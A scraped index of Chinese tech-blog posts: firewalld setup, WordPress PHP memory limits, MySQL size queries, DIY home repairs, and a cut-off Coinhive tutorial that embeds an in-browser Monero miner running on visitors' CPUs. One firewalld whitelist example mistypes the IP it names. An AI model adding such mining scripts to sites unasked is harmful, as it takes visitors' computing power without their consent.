P2 124W / 250W | 11763MiB / 12189MiB | 76% Default | +-------------------------------+----------------------+----------------------+ | 2 TITAN Xp Off | 00000000:83:00.0 Off | N/A | | 42% 70C P2 131W / 250W | 11763MiB / 12189MiB | 72% Default | +-------------------------------+----------------------+----------------------+ | 3 TITAN Xp Off | 00000000:84:00.0 Off | N/A | | 23% 41C P2 72W / 250W | 11761MiB / 12189MiB | 51% Default | +-------------------------------+----------------------+----------------------+ +-----------------------------------------------------------------------------+ | Processes: GPU Memory | | GPU PID Type Process name Usage | |=============================================================================| | 0 22192 C python 11751MiB | | 1 22192 C python 11751MiB | | 2 22192 C python 11751MiB | | 3 29266 C python 11751MiB | +-----------------------------------------------------------------------------+ 在訓練的過程中，如果仔細觀察每步的計算速度，應該會發現使用一張 GPU 卡的速度會跟使用多張 GPU 卡差不多。這是單張 GPU 卡的速度：\n這是同時使用三張 GPU 卡的計算速度：\n速度會差不多是正常的（理論上多張 GPU 卡運算的速度會變慢一點點），因為兩邊的 batch size 不同，若每步的計算時間差不多，就表示實際的計算速度有增加。\n參考資料 GitHub ","permalink":"https://blog.gtwang.org/programming/tensorflow-object-detection-api-multiple-gpu-parallel-training/","summary":"\u003cp\u003e本篇記錄如何使用多張 GPU 顯示卡，加速 TensorFlow Object Detection API 模型訓練的過程。\u003c/p\u003e\n\u003cp\u003e雖然 TensorFlow Object Detection API 已經有支援多張 GPU 卡平行計算的功能，但是缺乏說明文件，所以我自己也不是非常確定該怎麼用，以下只是我目前嘗試出來的方式，僅供參考。\u003c/p\u003e","title":"TensorFlow Object Detection API 多 GPU 卡平行計算，加速模型訓練速度教學"},{"content":"這裡介紹如何在 CentOS Linux 7 中使用 firewalld 的指令設定防火牆規則。\n在舊版的 CentOS Linux 中，防火牆都是以傳統的 iptables 來設定，而從 CentOS 7 開始，則改用 firewalld 來管理防火牆。\n傳統的 iptables 在每次修改防火牆時都要清除舊規則，重新套用一次新規則，使用上不是很方便，而新的 firewalld 以區域（zone）的方式管理規則，並使用動態的方式執行，修改規則後可立即生效，也不需要重新啟動系統的服務（service 或 daemon），所以後來的 RHEL、CentOS 與 Fedora 都改用 firewalld 了。\niptables 與 firewalld 兩個防火牆管理系統只能選用其中一種，不可以同時開啟，否則會有問題。\n以下是我在 CentOS Linux 7 的測試環境中所整理出來的 firewalld 使用教學。\n安裝 firewalld 安裝 firewalld 之前，請先確認 iptables 是否有被啟用，若系統上原本就有運行 iptables 的防火牆，一定要先將其關閉後，才能啟用 firewalld，否則會有問題：\n# 檢查 iptables 服務是否正在運行 systemctl status iptables # 停止正在執行的 iptables 服務 systemctl stop iptables # 將 iptables 服務永久關閉 systemctl mask iptables firewalld 在 RHEL/CentOS 7 與 Fedora 21 之中應該是預設就會安裝好的，若您的系統上沒有安裝，可用 yum 安裝：\nsudo yum install firewalld 當 firewalld 安裝好之後，檢查 firewalld 服務是否有啟動：\n# 檢查 firewalld 服務狀態 systemctl status firewalld 若 firewalld 沒有啟動，則手動啟動它：\n# 啟動 firewalld 服務 systemctl start firewalld # 停止 firewalld 服務 systemctl stop firewalld # 重新啟動 firewalld 服務 service firewalld restart 若要設定讓 firewalld 在開機時自動啟動，可執行：\n# 設定開機自動啟動 firewalld 服務 systemctl enable firewalld 區域簡介 firewalld 的區域（zone）可用來設定網路連線、介面等所處的運作環境，對內使用的區域其防火牆規則會較為寬鬆，反之若是對外的區域其規則會較為嚴謹。\n一條網路連線或介面只能隸屬於一個區域，我們可以自訂區域的設定，也可以直接從 firewalld 預設的幾個區域中選擇：\n區域 描述 drop 任何往內的封包都會被丟棄，只允許往外傳送的封包。 block 任何來自於外部的連線都會被阻擋，只允許自己系統主動建立的連線。 public 公開區域，預設不信任其他電腦與網路，只有被允許的連線才能進入。通常大部分的連線設定都會放在這裡。 external 公開區域，適用於 NAT 網路環境。 dmz 非軍事區域（demilitarized zone，有點像是放在外頭的危險區域），允許外部的連線進入，但其對內的連線則有限制，只有被允許的連線才能連進內部網路。 work 公司內部等工作區域，在此區域中不應該會有惡意的攻擊者。只有被允許的連線可以進入。 home 家裡頭的網路區域，在此區域中不應該會有惡意的攻擊者。只有被允許的連線可以進入。 internal 內部網路區域，在此區域中不應該會有惡意的攻擊者。只有被允許的連線可以進入。 trusted 完全信任的區域，接受所有連線。 查詢區域設定 firewalld 都是透過 firewall-cmd 指令來操作的，若要列出 firewalld 中已經定義好的區域，可執行：\n# 列出所有的區域 firewall-cmd --get-zones block dmz drop external home internal public trusted work 列出所有的區域與其詳細的設定內容：\n# 列出所有的區域與內容 sudo firewall-cmd --list-all-zones block target: %%REJECT%% icmp-block-inversion: no interfaces: sources: services: ports: protocols: masquerade: no forward-ports: source-ports: icmp-blocks: rich rules: [略] 若要查詢特定區域的內部設定，可執行：\n# 列出指定的區域與內容 sudo firewall-cmd --zone=public --list-all public (active) target: default icmp-block-inversion: no interfaces: enp7s0d1 ib0 sources: services: ssh dhcpv6-client rpc-bind https http tftp dhcp ports: 944/tcp 944/udp 945/tcp 945/udp 946/udp 8649/udp 8649/tcp 8651/tcp 8652/tcp 15001/tcp 15002/tcp 15003/tcp 15004/tcp 15007/tcp 17001/tcp 8080/tcp protocols: masquerade: no forward-ports: source-ports: icmp-blocks: rich rules: 上面這個查詢方式所得到的結果是目前系統上執行的設定（runtime），若要查詢寫在硬碟中的永久設定，可以使用：\n# 查詢永久設定值 sudo firewall-cmd --zone=public --list-all --permanent 預設區域 當網路介面或是連線沒有指定區域時，就會直接納入預設區域中。若要查詢目前預設的區域，可執行：\n# 列出預設區域 firewall-cmd --get-default-zone public 若要更改 firewalld 預設的區域，可以執行：\n# 設定預設區域 firewall-cmd --set-default-zone=home 更改後，可再確認一次預設區域：\n# 列出預設區域 firewall-cmd --get-default-zone home 介面所屬區域 列出目前所有運作中的區域，以及各個網路介面所屬的區域：\n# 查詢運作中的區域 firewall-cmd --get-active-zones public interfaces: enp7s0d1 ib0 trusted interfaces: eno2 若要查詢指定網路介面所屬區域，可執行：\n# 查詢網路介面所屬區域 firewall-cmd --get-zone-of-interface=enp7s0d1 public 若要更改指定網路介面的所屬區域，可以使用：\n# 將 enp7s0d1 網路介面設定至 home 區域 sudo firewall-cmd --zone=home --change-interface=enp7s0d1 上面這種修改網路介面所屬區域的方式只是暫時的，若要讓系統重新開機後還可以維持這樣的設定，就要直接更改 /etc/sysconfig/network-scripts/ 底下的設定檔，以 enp7s0d1 這個網路介面來說，就修改 ifcfg-enp7s0d1 這個檔案中的ZONE 設定值：\nZONE=home 接下來要介紹如何在防火牆的區域中開啟特定的連接埠，讓對外的服務可以正常運作。\n區域的服務 若要在防火牆上開啟一些連接埠，讓對外的服務使用，可以再區域設定中新增一些服務設定。firewalld 中有預先定義一些常用的服務名稱，這用這個指令查詢：\n# 列出預先定義的服務名稱 firewall-cmd --get-services RH-Satellite-6 amanda-client amanda-k5-client bacula bacula-client bitcoin bitcoin-rpc bitcoin-testnet bitcoin-testnet-rpc ceph ceph-mon cfengine condor-collector ctdb dhcp dhcpv6 dhcpv6-client dns docker-registry dropbox-lansync elasticsearch freeipa-ldap freeipa-ldaps freeipa-replication freeipa-trust ftp ganglia-client ganglia-master high-availability http https imap imaps ipp ipp-client ipsec iscsi-target kadmin kerberos kibana klogin kpasswd kshell ldap ldaps libvirt libvirt-tls managesieve mdns mosh mountd ms-wbt mssql mysql nfs nrpe ntp openvpn ovirt-imageio ovirt-storageconsole ovirt-vmconsole pmcd pmproxy pmwebapi pmwebapis pop3 pop3s postgresql privoxy proxy-dhcp ptp pulseaudio puppetmaster quassel radius rpc-bind rsh rsyncd samba samba-client sane sip sips smtp smtp-submission smtps snmp snmptrap spideroak-lansync squid ssh synergy syslog syslog-tls telnet tftp tftp-client tinc tor-socks transmission-client vdsm vnc-server wbem-https xmpp-bosh xmpp-client xmpp-local xmpp-server 大部分常見的網路服務都有在這個列表中，若要將指定的服務新增至指定的區域中，可執行：\n# 將 http 服務新增至 public 區域中 sudo firewall-cmd --zone=public --add-service=http 上面這行指令只是暫時將 http 服務新增至 public 區域中，重新開機後這個設定就不見了，通常在比較重要的伺服器上，我們都會先使用暫時的設定先進行測試，若測試沒問題，再將設定寫入設定檔，永久保存：\n# 永久將 http 服務新增至 public 區域中 sudo firewall-cmd --zone=public --permanent --add-service=http 執行永久的設定之後，可再重新查詢一次永久設定值，確認設定值是否正確：\n# 列出 public 區域永久的服務設定值 sudo firewall-cmd --zone=public --permanent --list-services 這樣設定之後，在 public 這個區域就會開啟網頁的 80 連接埠，讓外面可以連進來我們的網站，而現在的網站都會提供安全加密的網頁，所以最好連 HTTPS 的 443 連接埠也一並開啟，開啟的方式大同小異：\n# 將 https 服務新增至 public 區域中 sudo firewall-cmd --zone=public --add-service=https # 永久將 https 服務新增至 public 區域中 sudo firewall-cmd --zone=public --permanent --add-service=https 自訂開啟連接埠 基本上 firewalld 有內定的服務都可以使用上面這種方式開啟，如果我們想要開啟的連接埠不在 firewalld 內建的服務名單中，也可以直接指定通訊協定（tcp 或 udp）與埠號：\n# 開啟 tcp 的 8080 連接埠 sudo firewall-cmd --zone=public --add-port=8080/tcp # 永久開啟 tcp 的 8080 連接埠 sudo firewall-cmd --zone=public --permanent --add-port=8080/tcp 埠號的部分也可以用範圍的方式指定，一次開通多個連接埠：\n# 開啟 udp 的 4990 至 4999 連接埠 sudo firewall-cmd --zone=public --add-port=4990-4999/udp # 永久開啟 udp 的 4990 至 4999 連接埠 sudo firewall-cmd --zone=public --permanent --add-port=4990-4999/udp 移除服務 若要將指定的服務從某個區域中移除，可以執行：\n# 將 http 服務從 public 區域中移除 sudo firewall-cmd --zone=public --remove-service=http # 永久將 http 服務從 public 區域中移除 sudo firewall-cmd --zone=public --permanent --remove-service=http 如果是要移除自訂的通訊協定與埠號，則執行：\n# 關閉 tcp 的 8080 連接埠 sudo firewall-cmd --zone=public --remove-port=8080/tcp # 永久關閉 tcp 的 8080 連接埠 sudo firewall-cmd --zone=public --permanent --remove-port=8080/tcp 新增服務名稱 除了直接指定通訊協定與埠號之外，我們也可以自訂新的服務名稱，加入 firewalld 的服務名稱清單中，這樣就可以使用服務名稱的方式來設定開啟的服務，這樣做的好處是可以讓防火牆的設定看起來更容易理解，不會搞不清楚某些奇怪埠號的用途。\n若要新增服務名稱，可以在 /etc/firewalld/services 新增服務的 XML 設定檔，XML 設定檔的語法可參考 /usr/lib/firewalld/services/ 中的範例，例如 http.xml 就是定義 http 服務的設定檔：\n\u0026lt;?xml version=\u0026#34;1.0\u0026#34; encoding=\u0026#34;utf-8\u0026#34;?\u0026gt; \u0026lt;service\u0026gt; \u0026lt;short\u0026gt;WWW (HTTP)\u0026lt;/short\u0026gt; \u0026lt;description\u0026gt;HTTP is the protocol used to serve Web pages. If you plan to make your Web server publicly available, enable this option. This option is not required for viewing pages locally or developing Web pages.\u0026lt;/description\u0026gt; \u0026lt;port protocol=\u0026#34;tcp\u0026#34; port=\u0026#34;80\u0026#34;/\u0026gt; \u0026lt;/service\u0026gt; 參考這些範例後，撰寫自己的服務設定檔（若需要開啟多個連接埠，可以自己新增，或是參考其他的範例檔），然後另外儲存成一個新的檔案，放在 /etc/firewalld/services 目錄下，檔名要設定為服務的名稱加上 XML 的附檔名，例如 my_service.xml，接著讓 firewalld 重新載入設定：\n# 重新載入設定 sudo firewall-cmd --reload 重新查詢一次支援的服務名稱，應該就可以看到新加入的 my_service 服務了：\n# 列出預先定義的服務名稱 firewall-cmd --get-services 常用範例 這裡蒐集一些常用的 firewalld 防火牆設定指令。\n只允許特定來源 IP 位址使用服務 如果我們的服務只想讓某些特定來源 IP 位址的電腦使用，可以這樣設定：\n# 允許 192.168.0.0/24 使用 http 服務 firewall-cmd --zone=public \\ --add-rich-rule \u0026#39;rule family=\u0026#34;ipv4\u0026#34; source address=\u0026#34;192.168.0.0/24\u0026#34; service name=\u0026#34;http\u0026#34; accept\u0026#39; # 永久允許 192.168.0.0/24 使用 http 服務 firewall-cmd --zone=public \\ --add-rich-rule \u0026#39;rule family=\u0026#34;ipv4\u0026#34; source address=\u0026#34;192.168.0.0/24\u0026#34; service name=\u0026#34;http\u0026#34; accept\u0026#39; \\ --permanent 白名單 IP 位址 若要將特定的 IP 位址設定為白名單，讓它可以連接任何的連接埠，可以這樣做：\n# 將 192.168.0.123 列為 public 區域的白名單 firewall-cmd --zone=public \\ --add-rich-rule=\u0026#39;rule family=\u0026#34;ipv4\u0026#34; source address=\u0026#34;192.169.0.123\u0026#34; accept\u0026#39; # 永久將 192.168.0.123 列為 public 區域的白名單 firewall-cmd --zone=public \\ --add-rich-rule=\u0026#39;rule family=\u0026#34;ipv4\u0026#34; source address=\u0026#34;192.169.0.123\u0026#34; accept\u0026#39; \\ --permanent 黑名單 IP 位址 若要將特定的 IP 位址設定為黑名單，阻擋該 IP 來源的所有連線，可以這樣設定：\n# 禁止 181.215.176.3 的所有連線 firewall-cmd --zone=public \\ --add-rich-rule \u0026#39;rule family=\u0026#34;ipv4\u0026#34; source address=\u0026#34;181.215.176.3\u0026#34; reject\u0026#39; # 永久禁止 181.215.176.3 的所有連線 firewall-cmd --zone=public \\ --add-rich-rule \u0026#39;rule family=\u0026#34;ipv4\u0026#34; source address=\u0026#34;181.215.176.3\u0026#34; reject\u0026#39; --permanent 參考資料 Red Hat Fedora Tecmint DigitalOcean ","permalink":"https://blog.gtwang.org/linux/centos-7-firewalld-command-setup-tutorial/","summary":"\u003cp\u003e這裡介紹如何在 CentOS Linux 7 中使用 \u003ca href=\"https://firewalld.org/\"\u003efirewalld\u003c/a\u003e 的指令設定防火牆規則。\u003c/p\u003e\n\u003cp\u003e在舊版的 CentOS Linux 中，防火牆都是以傳統的 iptables 來設定，而從 CentOS 7 開始，則改用 firewalld 來管理防火牆。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e","title":"CentOS Linux 7 以 firewalld 指令設定防火牆規則教學"},{"content":"本篇是我這禮拜自己更換鋁門滑輪的簡單紀錄。\n最近家裡大門的鋁門輪子似乎壞了，推動的時候都會容易卡住，時常需要把門抬起來才能推，或是要非常用力，看來需要更換底部的滑輪了。\nStep 1\n首先當然就是想辦法把整個門拆下來，看看底下的狀況。這一扇門是大門的鋁門，通常用久了底下都會很髒，裡面的滑輪也可能因為生鏽而容卡住。\n通常如果鋁門容易卡住、推不動，問題就是出在那個滑輪。這扇門拆下來的時候，我用手去嘗試轉動那個滑輪，發現其實還是可以轉的，只是沒有非常順，但因為整扇門重量很重，壓上去的時候只要有一點不順，就會卡住了，總之只要沒有非常順，就是要換掉了。\nStep 2\n到五金行選購完全一樣的滑輪來更換，由於滑輪的種類很多，有些大小也很類似，建議直接把舊的拆下來，帶去五金行比對，以免買錯。\n通常一扇門都會有兩個滑輪，其中一個不順的時候，另外一個應該也好不到哪裡去，一個輪子也才 50 元左右，整扇門都拆下來了，建議是一次換兩個，以免之後另一個壞了又要換一次。\nStep 3\n把滑輪買回來之後，就把它裝上去。安裝滑輪非常簡單，只是鎖上兩個螺絲而已。\n這是另外一邊的新滑輪。\nStep 4\n新的滑輪所上去之後，再把門裝回去，就完成了。這是我這次換下來的兩個舊滑輪，我想光看外觀就可以知道該換了。\n","permalink":"https://blog.gtwang.org/diy/change-wheel-aluminum-door-20171225/","summary":"\u003cp\u003e本篇是我這禮拜自己更換鋁門滑輪的簡單紀錄。\u003c/p\u003e\n\u003cp\u003e最近家裡大門的鋁門輪子似乎壞了，推動的時候都會容易卡住，時常需要把門抬起來才能推，或是要非常用力，看來需要更換底部的滑輪了。\u003c/p\u003e","title":"[DIY] 更換鋁門的滑輪"},{"content":"這裡記錄我這週自己更換水龍頭，纏止洩帶的方法。\n這禮拜我們家有一個水龍頭，看起來應該是太老舊了，使用時把手突然斷掉，完全無法開水或關水，雖然之前有更換水龍頭把手的經驗，不過這次我想直接把整隻水龍頭換新。\n首先當然是先去五金行，挑選一隻合適的新水龍頭，如果家裡沒有止洩帶的話，記得也要一起買。\n買回來之後，確認一下水龍頭的大小就可以開始更換了。\nStep 1\n更換之前當然是先去頂樓把水塔旁的水源總開關關掉，讓水龍頭裡面不要有水，才能開始更換。\nStep 2\n關閉水源總開關之後，接著把水管內殘餘的水放掉，這步就直接找個正常的水龍頭，把水放掉就可以了。\n如果忘了放水的話，拆水龍頭的時候還是會有一些水會噴出來，所以把水放完會比較方便。\nStep 3\n接著把舊的水龍頭拆卸下來，這個步驟直接用手把水龍頭轉下來就可以了，通常舊的水龍頭應該會鎖很緊，所以轉的時候要小心，可能可以包一條抹布或是戴手套再抓著水龍頭轉，以免受傷。\nStep 4\n將新水龍頭的螺牙部分纏上白色的止洩帶，這個步驟就需要一點技巧了，我一開始也沒去注意怎麼纏，隨便纏個幾下就鎖上去，結果鎖上去之後發現竟然會漏水，還以為是止洩帶纏的不夠厚，結果來來回回裝了又拆、拆了又裝，還是一直漏。\n後來上 Google 查了一些資料，參考了 Mobile01 的討論區的方法，在不纏止洩帶的狀況下，把水龍頭先鎖上去，看看鬆緊度，若鎖進去很緊，大概就纏 7 ～ 10 圈，若很鬆的話就纏 12 ～ 15 圈，不過這著數字只是參考，實際也是要看現場狀況而定。\n而我在纏的時候，先把止洩帶拉成線條狀，先沿著螺紋塞進每個溝中，然後再纏個幾圈，最後再用指甲把止洩帶壓進每條溝中，最後再把新的水龍頭鎖上去，這樣就完成了。\n後來發現止洩帶並不是纏越多越好，而是要纏的緊，讓裡面不要有空隙，我一開始沒有特別把止洩帶塞進螺牙的溝中，雖然纏的很多層，但是一鎖上去的時候，止洩帶會跟水龍頭分離空轉，沒有鎖進去，所以一直漏水，後來仔細把止洩帶塞進螺牙之後，反而不需要纏很多，就完全不會漏了。\n水閥斷裂 這一次我在更換水龍頭時，爬上頂樓關水源總開關時，因為那個水閥已經很老舊了，塑膠嚴重脆化，我把水閥關起來的時候沒問題，但是要打開時，用力一轉它就整個斷掉，變成這樣。WTF！\n因為水閥斷裂時，是處於關著的狀態，所以整棟樓都沒水，我拿一般的鉗子想要把它打開，但是又沒有適合的工具，隨便弄又很容易把它弄壞，所以就不想動它了。\n弄成這樣真的就沒輒了，只能請水電師傅來修理。因為水塔的水是滿的，而我的開關剛好是關上的，師傅是建議在下方直接裝一個新的水閥，裝好之後再把上方斷裂的的水閥打開，這樣就不需要把水塔的水放掉。下面這兩張照片是裝上新水閥的樣子。\n就這樣裝一個新的水閥，十分鐘就解決了，而那個斷裂的水閥要拿水管鉗來開才會比較好開，還好我沒有拿尖嘴鉗亂轉。\n","permalink":"https://blog.gtwang.org/diy/change-faucet-20171224/","summary":"\u003cp\u003e這裡記錄我這週自己更換水龍頭，纏止洩帶的方法。\u003c/p\u003e\n\u003cp\u003e這禮拜我們家有一個水龍頭，看起來應該是太老舊了，使用時把手突然斷掉，完全無法開水或關水，雖然之前有\u003ca href=\"/diy/replace-faucet-handle-20171009/\"\u003e更換水龍頭把手\u003c/a\u003e的經驗，不過這次我想直接把整隻水龍頭換新。\u003c/p\u003e","title":"[DIY] 更換水龍頭，止洩帶纏繞方式"},{"content":"這裡介紹如何增加伺服器的 PHP 記憶體上限值，解決 WordPress 因記憶體不足而出錯的問題。\n自己架設 WordPress 網站時，如果外掛程式安裝的比較多（或是裝了設計不良的外掛程式），就有可能因為記憶體用量超過預設的上限值，造成 PHP 的執行錯誤。\n因記憶體用量太高所產生的錯誤訊息可能會有好多種，其中的關鍵字就是 Allowed memory size 與 exhausted，例如：\n2017/12/21 09:29:31 [error] 26372#26372: *4023 FastCGI sent in stderr: \"PHP message: PHP Fatal error: Allowed memory size of 67108864 bytes exhausted (tried to allocate 88 bytes) in /var/www/blog.gtwang.org/wp-includes/wp-db.php on line 2523\" while reading response header from upstream, client: X.X.X.X, server: blog.gtwang.org, request: \"POST /wp-admin/admin-ajax.php HTTP/1.1\", upstream: \"fastcgi://unix:/var/run/php5-fpm.sock:\", host: \"blog.gtwang.org\", referrer: \"https://blog.gtwang.org/wp-admin/index.php\" 至於會從哪一個 PHP 檔產生這樣的錯誤則不一定，而解決的方式有好幾種，請從以下幾種方式中挑選適合的。\n系統 php.ini 設定檔 若遇到這樣的錯誤，典型的解決方式就是修改系統 php.ini 設定檔，提高 memory_limit 設定值：\n; Maximum amount of memory a script may consume (128MB) ; http://php.net/memory-limit memory_limit = 128M memory_limit 所設定的值代表 PHP 程式在執行時，所能使用的記憶體上限值，通常會出現記憶體不足的情況，就是因為這個值設太低了，稍微調高一點就可以解決。\n再調整 memory_limit 的設定值時，也要注意不可以把這個值一下調太高，萬一這個值調的太高，又遇到設計不良的 PHP 程式碼，把整個系統的記憶體吃光，就會影響到整個系統的效能，後果更嚴重。\n由於 php.ini 這個設定檔是屬於系統的設定檔，如果您只是網站的設計者，不是系統管理員，就可能沒辦法直接修改這個檔案，這時候就要改用其他的方式。\n另外修改 php.ini 設定檔會影響伺服器上所有網站的設定值，如果只要調整單一網站的設定，就不能用這樣的方式。\nWordPress wp-config.php 設定檔 除了修改 php.ini 設定檔之外，我們也可以從 WordPress 的設定檔來修改，請在 wp-config.php 設定檔中的 stop editing 那一行註解之前，加上以下設定：\n// 正常網頁的記憶體用量上限值 define( \u0026#39;WP_MEMORY_LIMIT\u0026#39;, \u0026#39;128M\u0026#39; ); // 管理介面的記憶體用量上限值 define( \u0026#39;WP_MAX_MEMORY_LIMIT\u0026#39;, \u0026#39;256M\u0026#39; ); /* That\u0026#39;s all, stop editing! Happy blogging. */ 因為 WordPress 的管理介面通常會使用到比較多的記憶體，所以 WordPress 提供兩個設定值給網站管理者調整，WP_MEMORY_LIMIT 是設定正常網頁的記憶體用量上限值，而 WP_MAX_MEMORY_LIMIT 則是設定管理介面的記憶體用量上限值，通常 WP_MAX_MEMORY_LIMIT 會設高一些。\n雖然 WP_MEMORY_LIMIT 是針對正常網頁的設定，但我發現有時候也會影響管理介面的某些功能，所以在調整時，可以兩個值都嘗試看看。\n參考資料 wpbeginner ","permalink":"https://blog.gtwang.org/wordpress/fix-wordpress-memory-exhausted-error-increase-php-memory/","summary":"\u003cp\u003e這裡介紹如何增加伺服器的 PHP 記憶體上限值，解決 WordPress 因記憶體不足而出錯的問題。\u003c/p\u003e\n\u003cp\u003e自己架設 WordPress 網站時，如果外掛程式安裝的比較多（或是裝了設計不良的外掛程式），就有可能因為記憶體用量超過預設的上限值，造成 PHP 的執行錯誤。\u003c/p\u003e","title":"解決 WordPress 網站記憶體不足的 PHP 錯誤問題"},{"content":"這裡介紹如何使用 MySQL 的指令查詢資料庫在硬碟上的使用空間大小。\nMySQL 與 MariaDB 資料庫是一個在 Linux 系統上被廣泛運用的資料庫，許多的網站也都會搭配 MySQL/MariaDB 來架設（例如 WordPress 等），這裡我們將介紹可用來查詢資料庫與資料表大小的 MySQL 指令。\n登入 MySQL/MariaDB 若要查詢整個 MySQL/MariaDB 中所有的資料庫，就要使用 root 帳號登入：\nmysql -u root -p 輸入 root 密碼之後，即可進入 MySQL/MariaDB 的互動式操作環境，接著就可以輸入各種查詢的 MySQL 指令了。\n查詢所有資料庫大小 若要查詢每個資料庫（databases）的資料大小，可以使用這段指令：\nSELECT table_schema AS \u0026#34;Database Name\u0026#34;, ROUND(SUM(data_length + index_length) / 1024 / 1024, 2) AS \u0026#34;Size in (MB)\u0026#34; FROM information_schema.TABLES GROUP BY table_schema; 執行後會輸出各個資料表的大小，類似這樣：\n+--------------------+--------------+ | Database Name | Size in (MB) | +--------------------+--------------+ | blog | 313.24 | | information_schema | 0.08 | | mysql | 0.63 | | performance_schema | 0.00 | | tientao_www_dev | 1.13 | | www_sbi_tw | 1.75 | | www_travelnotes_tw | 2.31 | +--------------------+--------------+ 7 rows in set (0.02 sec) 查詢單一資料庫大小 若只要查詢某個特定的資料庫大小，可以改用這段指令：\nSELECT table_schema AS \u0026#34;Database Name\u0026#34;, ROUND(SUM(data_length + index_length) / 1024 / 1024, 2) AS \u0026#34;Size in (MB)\u0026#34; FROM information_schema.TABLES WHERE table_schema = \u0026#34;YOUR_DB_NAME\u0026#34;; 其中 YOUR_DB_NAME 要替換成自己的資料庫名稱。以 blog 資料庫為例，輸出會類似這樣：\n+---------------+--------------+ | Database Name | Size in (MB) | +---------------+--------------+ | blog | 314.24 | +---------------+--------------+ 1 row in set (0.01 sec) 查詢資料表大小 若要查詢某個資料庫中所有的資料表（tables）的大小，可以使用這段指令：\nSELECT table_name AS \u0026#34;Table Name\u0026#34;, ROUND(((data_length + index_length) / 1024 / 1024), 2) AS \u0026#34;Size in (MB)\u0026#34; FROM information_schema.TABLES WHERE table_schema = \u0026#34;YOUR_DB_NAME\u0026#34; ORDER BY (data_length + index_length) DESC; 其中 YOUR_DB_NAME 要替換成自己的資料庫名稱。以 blog 資料庫為例，查詢的結果會類似這樣（這是一個 WordPress 網站的資料表）：\n+--------------------------+--------------+ | Table Name | Size in (MB) | +--------------------------+--------------+ | wp_posts | 238.55 | | wp_postmeta | 49.61 | | wp_redirection_404 | 19.40 | | wp_comments | 3.48 | | wp_options | 1.53 | | wp_yoast_seo_links | 0.48 | | wp_term_relationships | 0.45 | | wp_redirection_logs | 0.24 | | wp_users | 0.06 | | wp_usermeta | 0.05 | | wp_terms | 0.05 | | wp_termmeta | 0.05 | | wp_term_taxonomy | 0.05 | | wp_commentmeta | 0.05 | | wp_ewwwio_images | 0.04 | | wp_links | 0.03 | | wp_redirection_items | 0.02 | | wp_aiowps_events | 0.02 | | wp_yoast_seo_meta | 0.02 | | wp_aiowps_login_lockdown | 0.02 | | wp_aiowps_login_activity | 0.02 | | wp_aiowps_global_meta | 0.02 | | wp_aiowps_failed_logins | 0.02 | | wp_hugeit_lightbox | 0.00 | | wp_redirection_groups | 0.00 | | wp_filemeta | 0.00 | | wp_statistics_search | 0.00 | +--------------------------+--------------+ 27 rows in set (0.01 sec) 查詢實際磁碟用量 如果想知道 MySQL/MariaDB 在硬碟上的實際大小，可以直接在 Linux shell 中以 du 指令查詢：\nsudo du -h /var/lib/mysql 212K\t/var/lib/mysql/performance_schema 180K\t/var/lib/mysql/www_travelnotes_tw 21M\t/var/lib/mysql/blog 1004K\t/var/lib/mysql/mysql 168K\t/var/lib/mysql/tientao_www_dev 168K\t/var/lib/mysql/www_sbi_tw 490M\t/var/lib/mysql 參考資料 Tecmint ","permalink":"https://blog.gtwang.org/linux/howto-check-mysql-database-size-using-command/","summary":"\u003cp\u003e這裡介紹如何使用 MySQL 的指令查詢資料庫在硬碟上的使用空間大小。\u003c/p\u003e\n\u003cp\u003eMySQL 與 MariaDB 資料庫是一個在 Linux 系統上被廣泛運用的資料庫，許多的網站也都會搭配 MySQL/MariaDB 來架設（例如 WordPress 等），這裡我們將介紹可用來查詢資料庫與資料表大小的 MySQL 指令。\u003c/p\u003e","title":"如何檢查 MySQL 或 MariaDB 資料庫大小？以指令查詢硬碟使用空間"},{"content":"這裡介紹如何使用 Coinhive 建立一個挖礦網頁，以網頁瀏覽者的電腦 CPU 進行挖礦。\n加密貨幣（Cryptocurrency）是現今非常熱門的話題，以往大家都是使用自己的 CPU 或 GPU 來挖礦賺錢（例如 MinerGate），而現在已經有使用 JavaScript 實作的挖礦程式出現，可以直接放在網頁上，使用網頁瀏覽者的 CPU 挖礦。\n以 JavaScript 實作出來的挖礦程式還不少，最有名的應該就是 Coinhive（星巴克 Wi-Fi 挖礦就是安裝了這個）。\nCoinhive 挖的加密貨幣是門羅幣（Monero），以下我們介紹如何安裝與使用 Coinhive。\n本篇文章只是研究 Coinhive 的技術與實作，請不要把這種挖礦程式放在正常的網站中，否則長期來說對於網站的 SEO 會有不良的影響。\n註冊 Coinhive 帳號 Step 1\n在使用 Coinhive 之前，一定要先在 Coinhive 網站上面註冊一個帳號。點選頁面右上方的「Signup」。\nStep 2\n輸入自己的 Email 信箱，並設定自己的密碼，接著勾選「Verify me」。\nStep 3\n勾選「Verify me」之後，會進行驗證，這個步驟需要等一下。\n這個驗證步驟實際上就是一小段的挖礦工作，回饋給網站的作者。\nStep 4\n驗證完成後，就可以點選「SIGNUP」送出註冊資訊。\nStep 5\n開啟自己的 Email 信箱，收取 Coinhive 的驗證信，點選信中的超連結就可以完成驗證。\nStep 6\n用自己的帳號登入後，在「Settings」頁面中選擇「Sites \u0026amp; API Keys」。\nStep 7\n在這裡可以設定自己的網站名稱，並查詢公鑰（public key）與私鑰（private key）。\nSimple Miner UI 挖礦介面 Simple Miner UI 是一個可以讓使用者自行調整挖礦速度，並查看挖礦狀態的挖礦介面，使用時先引入 simple-ui.min.js：\n\u0026lt;!-- 引入 Coinhive 的 Simple Miner UI JavaScript --\u0026gt; \u0026lt;script src=\u0026#34;https://authedmine.com/lib/simple-ui.min.js\u0026#34; async\u0026gt;\u0026lt;/script\u0026gt; 接著在放置挖礦操作介面的位置，加上以下的 HTML 程式碼：\n\u0026lt;!-- 讓使用者可以自己操作的挖礦介面 --\u0026gt; \u0026lt;div class=\u0026#34;coinhive-miner\u0026#34; style=\u0026#34;width: 336px; height: 280px\u0026#34; data-background=\u0026#34;#F8F8F8\u0026#34; data-key=\u0026#34;podGIERF8pZAdWYk5TeqKR4NSX5qpYtF\u0026#34;\u0026gt; \u0026lt;em\u0026gt;載入中 ...\u0026lt;/em\u0026gt; \u0026lt;/div\u0026gt; 其中的 data-key 要換成自己的公鑰，而 CSS 的大小可以自己調整，常見的廣告版位尺寸它都有支援（例如：300×250, 160×600, 336×280, 